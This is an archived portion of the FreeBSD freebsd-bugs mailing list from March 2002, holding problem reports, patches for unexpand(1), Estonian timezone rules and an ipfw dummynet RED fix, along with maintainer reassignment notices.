$B#2#4;~4V$5$l$J$$J}$O(B $B$3$A$i$^$G$*4j$$CW$7$^$9!#(B $BO"Mm@h(B office@likefinance.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 21:59:43 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from www.kozubik.com (www.kozubik.com [198.78.70.162]) by hub.freebsd.org (Postfix) with ESMTP id E76AF37B431 for ; Wed, 6 Mar 2002 21:59:36 -0800 (PST) Received: from localhost (john@localhost) by www.kozubik.com (8.11.0/8.11.0) with ESMTP id g275eEZ09234 for ; Wed, 6 Mar 2002 21:40:14 -0800 (PST) (envelope-from john@kozubik.com) Date: Wed, 6 Mar 2002 21:40:14 -0800 (PST) From: John Kozubik X-Sender: john@www To: freebsd-bugs@freebsd.org Subject: bin/31228 still exists in 4.5-RELEASE (vnconfig, vntab) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org bin/31228 (vnconfig -ae configures but does not mount devices specified in /etc/vntab) still exists. I have reproduced the exact behavior described in the original report (#31228) on a i386 based machine running 4.5-RELEASE. The original report does include a patch to fix this behavior. ----- John Kozubik - john@kozubik.com - http://www.kozubik.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Mar 6 23:20:23 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 26B6437B419 for ; Wed, 6 Mar 2002 23:20:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g277K1d69194; Wed, 6 Mar 2002 23:20:01 -0800 (PST) (envelope-from gnats) Received: from descent.robbins.dropbear.id.au (153.c.007.mel.iprimus.net.au [210.50.82.153]) by hub.freebsd.org (Postfix) with ESMTP id D799837B41D for ; Wed, 6 Mar 2002 23:12:23 -0800 (PST) Received: (from tim@localhost) by descent.robbins.dropbear.id.au (8.11.6/8.11.6) id g277CKs46132; Thu, 7 Mar 2002 18:12:20 +1100 (EST) (envelope-from tim) Message-Id: <200203070712.g277CKs46132@descent.robbins.dropbear.id.au> Date: Thu, 7 Mar 2002 18:12:20 +1100 (EST) From: "Tim J. Robbins" Reply-To: "Tim J. Robbins" To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35621: Patch to add P1003.1-2001 -t option to unexpand(1) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35621 >Category: bin >Synopsis: Patch to add P1003.1-2001 -t option to unexpand(1) >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Wed Mar 06 23:20:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Tim J. Robbins >Release: FreeBSD 4.5-STABLE i386 >Organization: >Environment: System: FreeBSD descent.robbins.dropbear.id.au 4.5-STABLE FreeBSD 4.5-STABLE #5: Sat Feb 16 18:56:18 EST 2002 tim@descent.robbins.dropbear.id.au:/usr/obj/usr/src/sys/DESCENT i386 >Description: This patch adds the -t option to unexpand(1), which is specified by P1003.1-2001. It also removes the artifical line length limits imposed by buffering the file line-by-line. The getstops() function in this patch is taken from expand.c. >How-To-Repeat: $ unexpand -t4 usage: unexpand [-a] file ... >Fix: Index: expand/expand.1 =================================================================== RCS file: /home/ncvs/src/usr.bin/expand/expand.1,v retrieving revision 1.7 diff -u -r1.7 expand.1 --- expand/expand.1 2001/07/10 14:15:57 1.7 +++ expand/expand.1 2002/03/07 07:11:46 @@ -51,6 +51,12 @@ .Op Ar .Nm unexpand .Op Fl a +.Oo +.Fl t +.Sm off +.Ar tab1 , tab2 , ... , tabn +.Sm on +.Oc .Op Ar .Sh DESCRIPTION .Nm Expand @@ -86,6 +92,13 @@ option is given, then tabs are inserted whenever they would compress the resultant file by replacing two or more characters. .El +.Sh STANDARDS +The +.Nm expand +and +.Nm unexpand +utilities are expected to conform to +.St -p1003.1-2001 . .Sh HISTORY The .Nm Index: unexpand/unexpand.c =================================================================== RCS file: /home/ncvs/src/usr.bin/unexpand/unexpand.c,v retrieving revision 1.7 diff -u -r1.7 unexpand.c --- unexpand/unexpand.c 2001/12/11 23:18:25 1.7 +++ unexpand/unexpand.c 2002/03/07 07:05:27 @@ -52,13 +52,16 @@ #include #include #include +#include +#include -char genbuf[BUFSIZ]; -char linebuf[BUFSIZ]; int all; +int nstops; +int tabstops[100]; +static void getstops __P((char *)); static void usage __P((void)); -void tabify __P((char)); +void tabify __P((void)); int main(argc, argv) @@ -66,28 +69,34 @@ char *argv[]; { register char *cp; + int ch; - argc--, argv++; - if (argc > 0 && argv[0][0] == '-') { - if (strcmp(argv[0], "-a") != 0) + nstops = 1; + tabstops[0] = 8; + while ((ch = getopt(argc, argv, "at:")) != -1) { + switch (ch) { + case 'a': + all = 1; + break; + case 't': + getstops(optarg); + all = 1; + break; + default: usage(); - all++; - argc--, argv++; + /*NOTREACHED*/ + } } + argc -= optind; + argv += optind; + do { if (argc > 0) { if (freopen(argv[0], "r", stdin) == NULL) - err(1, "%s", argv[0]); + err(EX_NOINPUT, "%s", argv[0]); argc--, argv++; } - while (fgets(genbuf, BUFSIZ, stdin) != NULL) { - for (cp = linebuf; *cp; cp++) - continue; - if (cp > linebuf) - cp[-1] = 0; - tabify(all); - printf("%s", linebuf); - } + tabify(); } while (argc > 0); exit(0); } @@ -95,52 +104,97 @@ static void usage() { - fprintf(stderr, "usage: unexpand [-a] file ...\n"); - exit(1); + fprintf(stderr, "usage: unexpand [-a] [-t tablist] [file ...]\n"); + exit(EX_USAGE); } void -tabify(c) - char c; +tabify() { - register char *cp, *dp; register int dcol; - int ocol; + int ch, n, ocol; ocol = 0; dcol = 0; - cp = genbuf, dp = linebuf; - for (;;) { - switch (*cp) { - + while ((ch = getchar()) != EOF) { + switch (ch) { + case EOF: + return; + case '\n': + putchar('\n'); + ocol = dcol = 0; + break; case ' ': dcol++; break; - case '\t': dcol += 8; dcol &= ~07; break; - + case '\b': + if (dcol > 0) + dcol--; + /*FALLTHROUGH*/ default: - while (((ocol + 8) &~ 07) <= dcol) { - if (ocol + 1 == dcol) - break; - *dp++ = '\t'; - ocol += 8; - ocol &= ~07; + if (nstops == 1) { + while (((ocol + tabstops[0]) / tabstops[0]) + <= (dcol / tabstops[0])) { + if (dcol - ocol < 2) + break; + putchar('\t'); + ocol = (1 + ocol / tabstops[0]) * + tabstops[0]; + } + } else { + for (n = 0; n < nstops; n++) + if (tabstops[n] > ocol) + break; + while (n < nstops && tabstops[n] <= dcol) { + if (dcol - ocol < 2) + break; + putchar('\t'); + ocol = tabstops[n++]; + } } while (ocol < dcol) { - *dp++ = ' '; + putchar(' '); ocol++; } - if (*cp == 0 || c == 0) { - strcpy(dp, cp); - return; + putchar(ch); + if (!all) { + while ((ch = getchar()) != EOF && ch != '\n') + putchar(ch); + putchar('\n'); + ocol = dcol = 0; + break; } - *dp++ = *cp; ocol++, dcol++; } + } +} + +static void +getstops(cp) + register char *cp; +{ + register int i; + + nstops = 0; + for (;;) { + i = 0; + while (*cp >= '0' && *cp <= '9') + i = i * 10 + *cp++ - '0'; + if (i <= 0) + errx(1, "bad tab stop spec"); + if (nstops > 0 && i <= tabstops[nstops-1]) + errx(1, "bad tab stop spec"); + if (nstops == sizeof(tabstops) / sizeof(*tabstops)) + errx(1, "too many tabstops"); + tabstops[nstops++] = i; + if (*cp == 0) + break; + if (*cp != ',' && *cp != ' ') + errx(1, "bad tab stop spec"); cp++; } } >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 0: 0:13 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 3B99E37B416 for ; Thu, 7 Mar 2002 00:00:05 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27805H77577; Thu, 7 Mar 2002 00:00:05 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id D496C37B417 for ; Wed, 6 Mar 2002 23:50:19 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g277oJs75516; Wed, 6 Mar 2002 23:50:19 -0800 (PST) (envelope-from nobody) Message-Id: <200203070750.g277oJs75516@freefall.freebsd.org> Date: Wed, 6 Mar 2002 23:50:19 -0800 (PST) From: Michiel De Wilde To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: bin/35622: sigaltstack is missing in libc_r Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35622 >Category: bin >Synopsis: sigaltstack is missing in libc_r >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Mar 07 00:00:05 PST 2002 >Closed-Date: >Last-Modified: >Originator: Michiel De Wilde >Release: 4.5 >Organization: Ghent University >Environment: >Description: The threaded C library, libc_r, seems to be missing a "wrapper function" which maps sigaltstack onto _thread_sys_sigaltstack in a thread-safe way. >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 0:30:10 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 3139037B416 for ; Thu, 7 Mar 2002 00:30:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g278U1F85056; Thu, 7 Mar 2002 00:30:01 -0800 (PST) (envelope-from gnats) Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id E3DEF37B404 for ; Thu, 7 Mar 2002 00:24:10 -0800 (PST) Received: (from nobody@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g278OAS84308; Thu, 7 Mar 2002 00:24:10 -0800 (PST) (envelope-from nobody) Message-Id: <200203070824.g278OAS84308@freefall.freebsd.org> Date: Thu, 7 Mar 2002 00:24:10 -0800 (PST) From: Bryan Collins To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: i386/35625: sysinstall signal 11 when writing partition table during install Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35625 >Category: i386 >Synopsis: sysinstall signal 11 when writing partition table during install >Confidential: no >Severity: critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Mar 07 00:30:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Bryan Collins >Release: 4.4R and 4.5R >Organization: >Environment: cannot install bootstrap loader date - Mon Jan 28 13:01:20 GMT 2002 >Description: When writing the partition table in sysinstall, signal 11 is received. error is ad0c: hard error reading fsbn 1 (ad0 bn 1; cn 0 tn 0 sn 1) status=59 error=10 ad0: cannot find label (I/O error) ad0s1c: hard error reading fsbn 1 (ad0s1 bn 1; cn 0 tn 0 sn 1) status=59 error=10 multiple times, then a signal 11 is received in sysinstall System is Digital Hinote Ultra CT475 notebook HDD is Toshiba HDD2514 543MB 1053C 16H 63S Multiple known-to-work HDD tried, all of same geometry. >How-To-Repeat: Try to install FreeBSD 4.4 or 4.5 FreeBSD 3.4 was originally installed and working OK. Suspect 3.4 installed with non-standard partition table (freebsd only) >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 0:30:13 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 5664837B417 for ; Thu, 7 Mar 2002 00:30:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g278U1G85065; Thu, 7 Mar 2002 00:30:01 -0800 (PST) (envelope-from gnats) Received: from valu.uninet.ee (valu.uninet.ee [194.204.34.51]) by hub.freebsd.org (Postfix) with ESMTP id 4AA1437B404 for ; Thu, 7 Mar 2002 00:26:29 -0800 (PST) Received: by valu.uninet.ee (Postfix, from userid 1002) id 15CDF36420; Thu, 7 Mar 2002 10:26:26 +0200 (EET) Message-Id: <20020307082626.15CDF36420@valu.uninet.ee> Date: Thu, 7 Mar 2002 10:26:26 +0200 (EET) From: Taavi Talvik Reply-To: Taavi Talvik To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: conf/35626: Summer time rules for Estionia changed again Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35626 >Category: conf >Synopsis: Summer time rules for Estionia changed again >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: update >Submitter-Id: current-users >Arrival-Date: Thu Mar 07 00:30:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Taavi Talvik >Release: FreeBSD 4.4-STABLE i386 >Organization: >Environment: System: FreeBSD valu.uninet.ee 4.4-STABLE FreeBSD 4.4-STABLE #6: Wed Dec 5 18:04:09 EET 2001 taavi@valu.uninet.ee:/usr/obj/usr/src/sys/VALU i386 All FreeBSD versions. >Description: Starting from March 2002 Estonia has again summer time. >How-To-Repeat: Starting from March 2002 Estonia has again summer time. >Fix: --- /usr/src/share/zoneinfo/europe.old Thu Mar 7 10:16:30 2002 +++ /usr/src/share/zoneinfo/europe Thu Mar 7 10:13:40 2002 @@ -815,6 +815,8 @@ # no. 206 (1998-09-22) and thus sticks Estonia to +02:00 GMT for all # the year round. The regulation is effective 1999-11-01. +# Starting from 2002 Estonia again follows EU summer time rules. + # Zone NAME GMTOFF RULES FORMAT [UNTIL] Zone Europe/Tallinn 1:39:00 - LMT 1880 1:39:00 - TMT 1918 Feb # Tallinn Mean Time @@ -827,7 +829,8 @@ 2:00 1:00 EEST 1989 Sep 24 2:00s 2:00 C-Eur EE%sT 1998 Sep 22 2:00 EU EE%sT 1999 Nov 1 - 2:00 - EET + 2:00 - EET 2002 Mar 1 + 2:00 EU EE%sT # Finland # >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 2: 0:18 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id DD98D37B417 for ; Thu, 7 Mar 2002 02:00:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27A01R01460; Thu, 7 Mar 2002 02:00:01 -0800 (PST) (envelope-from gnats) Received: from ic.vrn.ru (ic.vrn.ru [195.98.64.65]) by hub.freebsd.org (Postfix) with ESMTP id EE7D437B402 for ; Thu, 7 Mar 2002 01:57:29 -0800 (PST) Received: from relay.nvnpp.vrn.ru ([195.98.93.102]) by ic.vrn.ru (8.11.6/8.11.1) with ESMTP id g279vOH69292 for ; Thu, 7 Mar 2002 12:57:25 +0300 (MSK) (envelope-from gpr@nvnpp.vrn.ru) Received: from nvnpp.vrn.ru by relay.nvnpp.vrn.ru with SMTP (MDaemon.v3.1.0.R) for ; Thu, 07 Mar 2002 12:57:01 +0300 Received: from fbsd.nvnpp.vrn.ru by nvnpp.vrn.ru with SMTP (MDaemon.PRO.v5.0.4.R) for ; Thu, 07 Mar 2002 12:56:46 +0300 Received: from gpr by fbsd.nvnpp.vrn.ru with local (Exim 3.33 #1) id 16iudh-0003FR-00; Thu, 07 Mar 2002 12:56:45 +0300 Message-Id: Date: Thu, 07 Mar 2002 12:56:45 +0300 From: Gennady Proskurin Reply-To: Gennady Proskurin To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35628: ifpw(8) doesn't set RED parameters for dummynet queue Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35628 >Category: bin >Synopsis: ifpw(8) doesn't set RED parameters for dummynet queue >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Mar 07 02:00:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Gennady Proskurin >Release: FreeBSD 5.0-CURRENT i386 >Organization: >Environment: System: FreeBSD gpr.nvnpp.lan 5.0-CURRENT FreeBSD 5.0-CURRENT #17: Wed Mar 6 08:18:48 MSK 2002 gpr@gpr.nvnpp.lan:/usr/obj/usr/src/sys/gpr i386 >Description: ipfw(8) doesn't set RED parameters for dummynet queue with RED queue management because they set only if bandwidth limit exists, but bw limit cannot be in queue config. >How-To-Repeat: 1) Configure dummynet queue with RED, for example: ipfw pipe 1 config bw 3000byte/s queue 5 ipfw queue 2 config pipe 1 queue 50 red 0.008/10/40/0.9 2) Do some traffic via queue 2 to fill its queue ipfw add 1 queue 2 ip from any to any 3) See kernel panic caused by using uninitialized RED parameters >Fix: for ipfw.c rev 1.120 --- ipfw.c.orig Thu Mar 7 08:32:43 2002 +++ ipfw.c Thu Mar 7 12:24:14 2002 @@ -1648,7 +1648,11 @@ pipe.fs.min_th, pipe.fs.max_th); if (pipe.fs.max_th == 0) errx(EX_DATAERR, "max_th must be > 0"); - if (pipe.bandwidth) { + /* + * We need set RED parameters anyway, + * even if no bandwidth limit + */ + { size_t len; int lookup_depth, avg_pkt_size; double s, idle, weight, w_q; @@ -1682,7 +1686,10 @@ "kern.clockrate"); /* ticks needed for sending a medium-sized packet */ - s = clock.hz * avg_pkt_size * 8 / pipe.bandwidth; + if (pipe.bandwidth==0) + s = 0; + else + s = clock.hz * avg_pkt_size * 8 / pipe.bandwidth; /* * max idle time (in ticks) before avg queue size >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 2:50:13 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 5D9BC37B427 for ; Thu, 7 Mar 2002 02:50:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27Ao2T12449; Thu, 7 Mar 2002 02:50:02 -0800 (PST) (envelope-from gnats) Date: Thu, 7 Mar 2002 02:50:02 -0800 (PST) Message-Id: <200203071050.g27Ao2T12449@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Alexander Haderer Subject: Re: kern/35461: trap 12 when booting with Maxtor 160G disk at Promise PDC20265R Reply-To: Alexander Haderer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/35461; it has been noted by GNATS. From: Alexander Haderer To: freebsd-gnats-submit@FreeBSD.org, alexander.haderer@charite.de Cc: Subject: Re: kern/35461: trap 12 when booting with Maxtor 160G disk at Promise PDC20265R Date: Thu, 07 Mar 2002 11:45:21 +0100 We did additional tests with a Promise Ultra 100 PCI Card (PDC 20267 chip) with the same results: Kernel trap 12 when booting with 160 GB Maxtor Disk attached to Promise card. ------------------------------------------------------------------ Alexander Haderer Charite Campus Virchow-Klinikum Tel. +49 30 - 450 557 182 Strahlenklinik und Poliklinik Fax. +49 30 - 450 557 117 Sekr. Prof. Felix Email alexander.haderer@charite.de Augustenburger Platz 1 www http://www.charite.de/rv/str/ 13353 Berlin - Germany ------------------------------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 3:20:26 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id B196337B41C for ; Thu, 7 Mar 2002 03:20:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27BK2f20962; Thu, 7 Mar 2002 03:20:02 -0800 (PST) (envelope-from gnats) Date: Thu, 7 Mar 2002 03:20:02 -0800 (PST) Message-Id: <200203071120.g27BK2f20962@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Peter Pentchev Subject: Re: i386/35625: sysinstall signal 11 when writing partition table during install Reply-To: Peter Pentchev Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR i386/35625; it has been noted by GNATS. From: Peter Pentchev To: Bryan Collins Cc: bug-followup@FreeBSD.org Subject: Re: i386/35625: sysinstall signal 11 when writing partition table during install Date: Thu, 7 Mar 2002 13:11:17 +0200 On Thu, Mar 07, 2002 at 12:24:10AM -0800, Bryan Collins wrote: > > >Number: 35625 > >Category: i386 > >Synopsis: sysinstall signal 11 when writing partition table during install > >Originator: Bryan Collins > >Release: 4.4R and 4.5R > >Organization: > >Environment: > cannot install > bootstrap loader date - Mon Jan 28 13:01:20 GMT 2002 > > >Description: > When writing the partition table in sysinstall, signal 11 is > received. > error is > ad0c: hard error reading fsbn 1 (ad0 bn 1; cn 0 tn 0 sn 1) status=59 error=10 > ad0: cannot find label (I/O error) > ad0s1c: hard error reading fsbn 1 (ad0s1 bn 1; cn 0 tn 0 sn 1) status=59 error=10 > > multiple times, then a signal 11 is received in sysinstall There may certainly be a problem with sysinstall insomuch as it does not process the errors returned by the kernel. However, the above messages suggest that your problem lies mainly with the hard disc drive: those 'hard error' and 'I/O error' messages surely point to a disc dying or dead. Possible workarounds include installing FreeBSD into a smaller portion of the disc, one without physical media errors, or buying a whole new drive.. G'luck, Peter -- Peter Pentchev roam@ringlet.net roam@FreeBSD.org PGP key: http://people.FreeBSD.org/~roam/roam.key.asc Key fingerprint FDBA FD79 C26F 3C51 C95E DF9E ED18 B68D 1619 4553 .siht ekil ti gnidaer eb d'uoy ,werbeH ni erew ecnetnes siht fI To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 3:42:56 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 6AE1C37B417; Thu, 7 Mar 2002 03:42:50 -0800 (PST) Received: (from dwmalone@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27BY4d23428; Thu, 7 Mar 2002 03:34:04 -0800 (PST) (envelope-from dwmalone) Date: Thu, 7 Mar 2002 03:34:04 -0800 (PST) From: Message-Id: <200203071134.g27BY4d23428@freefall.freebsd.org> To: dwmalone@FreeBSD.org, freebsd-bugs@FreeBSD.org, sound@FreeBSD.org Subject: Re: i386/35615: ES1978 Maestro 2E sound card locks up machine Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: ES1978 Maestro 2E sound card locks up machine Responsible-Changed-From-To: freebsd-bugs->sound Responsible-Changed-By: dwmalone Responsible-Changed-When: Thu Mar 7 03:33:11 PST 2002 Responsible-Changed-Why: One for the sound guys. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35615 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 3:42:56 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id AF88037B402; Thu, 7 Mar 2002 03:42:49 -0800 (PST) Received: (from dwmalone@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27BeAQ24916; Thu, 7 Mar 2002 03:40:10 -0800 (PST) (envelope-from dwmalone) Date: Thu, 7 Mar 2002 03:40:10 -0800 (PST) From: Message-Id: <200203071140.g27BeAQ24916@freefall.freebsd.org> To: dwmalone@FreeBSD.org, freebsd-bugs@FreeBSD.org, dwmalone@FreeBSD.org Subject: Re: bin/31228: vnconfig -ae configures but not mount devices specified in /etc/vntab. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: vnconfig -ae configures but not mount devices specified in /etc/vntab. Responsible-Changed-From-To: freebsd-bugs->dwmalone Responsible-Changed-By: dwmalone Responsible-Changed-When: Thu Mar 7 03:36:58 PST 2002 Responsible-Changed-Why: I'll have a look at this. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=31228 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 3:43: 2 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id E9C3337B419; Thu, 7 Mar 2002 03:42:50 -0800 (PST) Received: (from dwmalone@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27BaUU24038; Thu, 7 Mar 2002 03:36:30 -0800 (PST) (envelope-from dwmalone) Date: Thu, 7 Mar 2002 03:36:30 -0800 (PST) From: Message-Id: <200203071136.g27BaUU24038@freefall.freebsd.org> To: dwmalone@FreeBSD.org, freebsd-bugs@FreeBSD.org, luigi@FreeBSD.org Subject: Re: bin/35628: ifpw(8) doesn't set RED parameters for dummynet queue Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: ifpw(8) doesn't set RED parameters for dummynet queue Responsible-Changed-From-To: freebsd-bugs->luigi Responsible-Changed-By: dwmalone Responsible-Changed-When: Thu Mar 7 03:35:45 PST 2002 Responsible-Changed-Why: Luigi - this one looks relatively straight forward and contains a patch. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35628 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 3:53: 0 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id AA46837B426; Thu, 7 Mar 2002 03:52:49 -0800 (PST) Received: (from dwmalone@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27Bkud26353; Thu, 7 Mar 2002 03:46:56 -0800 (PST) (envelope-from dwmalone) Date: Thu, 7 Mar 2002 03:46:56 -0800 (PST) From: Message-Id: <200203071146.g27Bkud26353@freefall.freebsd.org> To: dwmalone@FreeBSD.org, freebsd-bugs@FreeBSD.org, wollman@FreeBSD.org Subject: Re: conf/35626: Summer time rules for Estionia changed again Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: Summer time rules for Estionia changed again Responsible-Changed-From-To: freebsd-bugs->wollman Responsible-Changed-By: dwmalone Responsible-Changed-When: Thu Mar 7 03:44:37 PST 2002 Responsible-Changed-Why: I guess this one requires an updated import of the timezone files again. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35626 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Mar 7 10:20:46 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 543C037B444 for ; Thu, 7 Mar 2002 10:20:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g27IK1P47871; Thu, 7 Mar 2002 